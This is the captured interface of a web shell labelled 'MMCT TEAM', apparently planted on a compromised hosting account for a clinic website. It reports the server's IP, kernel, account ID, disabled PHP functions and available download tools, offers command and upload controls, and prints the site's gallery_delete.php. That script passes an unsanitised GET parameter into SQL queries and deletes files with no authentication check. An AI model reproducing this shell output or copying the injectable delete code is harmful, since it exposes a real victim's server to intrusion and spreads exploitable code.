MMCT TEAM
Server IP : 153.92.220.142  /  Your IP : 18.117.162.216
Web Server : LiteSpeed
System : Linux nl-srv-web516.main-hosting.eu 4.18.0-513.9.1.lve.el7h.x86_64 #1 SMP Mon Dec 4 13:57:13 UTC 2023 x86_64
User : u444427800 ( 444427800)
PHP Version : 8.1.27
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u444427800/domains/aaryashdermajoint.com/public_html/admin/gallery/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u444427800/domains/aaryashdermajoint.com/public_html/admin/gallery/../gallery_delete.php
<?php include "connect.php";
$gallery_id=$_GET["gallery_id"];
$result_project = mysqli_fetch_assoc(mysqli_query($conn,"SELECT * FROM `gallery` where `gallery_id`='$gallery_id'"));
unlink('project/'.$result_project["gallery"]);
$result = $conn->query("DELETE FROM `gallery` WHERE `gallery_id`='$gallery_id'");
header("location:gallery.php");
?>


MMCT - 2023